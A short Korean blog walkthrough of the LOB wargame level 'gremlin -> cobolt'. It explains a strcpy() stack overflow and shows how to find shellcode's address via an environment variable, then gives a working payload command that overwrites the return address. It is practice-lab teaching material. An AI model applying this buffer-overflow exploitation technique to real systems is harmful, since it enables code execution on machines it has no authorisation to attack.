ii4gsp
LOB - Level2 [gremlin -> cobolt] 본문
첫 번째 문제와 크게 달라지진 않았다.
하지만 버퍼의 크기가작아 쉘코드를 환경변수에 등록하면 될것 같다.
strcpy() 함수에서 취약점이 일어난다.
파일을 복사해주고 gdb로 열어보면 스택의 구조는 buffer - sfp - ret이다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
쉘코드의 주소를 알아내기 위해 소스코드를 작성해주고
25byte 쉘코드를 환경변수에 등록해주고 아까 작성한 코드를 실행하여 쉘코드의 주소를 알아내었다.
페이로드 작성은 buffer[16byte] + sfp[4byte] + ret가 된다.
payload
./cobolt $(python -c 'print "\x90" * 20 + "\x61\xff\xff\xbf"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
---|---|
LOB - Level5 [orc -> wolfman] (0) | 2020.01.14 |
LOB - Level4 [goblin -> orc] (0) | 2020.01.14 |
LOB - Level3 [cobolt -> goblin] (0) | 2020.01.13 |
LOB - Level1 [gate -> gremlin] (0) | 2020.01.13 |
Comments